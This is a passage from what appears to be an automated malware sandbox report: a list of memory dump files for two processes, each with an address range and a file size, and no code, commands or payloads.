                                                          140KB

                                                        • memory/3120-70-0x00007FFAFC870000-0x00007FFAFC9E7000-memory.dmp
                                                          Filesize

                                                          1.5MB

                                                        • memory/3120-273-0x00007FFB0BCD0000-0x00007FFB0BCF3000-memory.dmp
                                                          Filesize

                                                          140KB

                                                        • memory/3120-81-0x00007FFAFBD80000-0x00007FFAFC2A2000-memory.dmp
                                                          Filesize

                                                          5.1MB

                                                        • memory/3120-82-0x000001E5B29A0000-0x000001E5B2EC2000-memory.dmp
                                                          Filesize

                                                          5.1MB

                                                        • memory/3120-74-0x00007FFB0BF70000-0x00007FFB0BF7D000-memory.dmp
                                                          Filesize

                                                          52KB

                                                        • memory/3120-77-0x00007FFB0BA40000-0x00007FFB0BA73000-memory.dmp
                                                          Filesize

                                                          204KB

                                                        • memory/3120-369-0x00007FFB12300000-0x00007FFB12314000-memory.dmp
                                                          Filesize

                                                          80KB

                                                        • memory/3120-372-0x00007FFB0BCD0000-0x00007FFB0BCF3000-memory.dmp
                                                          Filesize

                                                          140KB

                                                        • memory/3120-381-0x00007FFAFBD80000-0x00007FFAFC2A2000-memory.dmp
                                                          Filesize

                                                          5.1MB

                                                        • memory/3120-380-0x00007FFB0BA40000-0x00007FFB0BA73000-memory.dmp
                                                          Filesize

                                                          204KB

                                                        • memory/3120-377-0x00007FFAFC870000-0x00007FFAFC9E7000-memory.dmp
                                                          Filesize

                                                          1.5MB

                                                        • memory/3120-376-0x00007FFB0C200000-0x00007FFB0C223000-memory.dmp
                                                          Filesize

                                                          140KB

                                                        • memory/3120-375-0x00007FFB0C230000-0x00007FFB0C249000-memory.dmp
                                                          Filesize

                                                          100KB

                                                        • memory/3120-374-0x00007FFB0C250000-0x00007FFB0C27D000-memory.dmp
                                                          Filesize

                                                          180KB

                                                        • memory/3120-373-0x00007FFB0C190000-0x00007FFB0C19F000-memory.dmp
                                                          Filesize

                                                          60KB

                                                        • memory/3120-371-0x00007FFAFBAB0000-0x00007FFAFBBCC000-memory.dmp
                                                          Filesize

                                                          1.1MB

                                                        • memory/3120-370-0x00007FFB0BE10000-0x00007FFB0BE1D000-memory.dmp
                                                          Filesize

                                                          52KB

                                                        • memory/3120-367-0x00007FFAFCB10000-0x00007FFAFCBDD000-memory.dmp
                                                          Filesize

                                                          820KB

                                                        • memory/3120-357-0x00007FFAFCBE0000-0x00007FFAFD1C9000-memory.dmp
                                                          Filesize

                                                          5.9MB

                                                        • memory/3120-379-0x00007FFB0BF70000-0x00007FFB0BF7D000-memory.dmp
                                                          Filesize

                                                          52KB

                                                        • memory/3636-342-0x0000000000400000-0x000000000041F000-memory.dmp
                                                          Filesize

                                                          124KB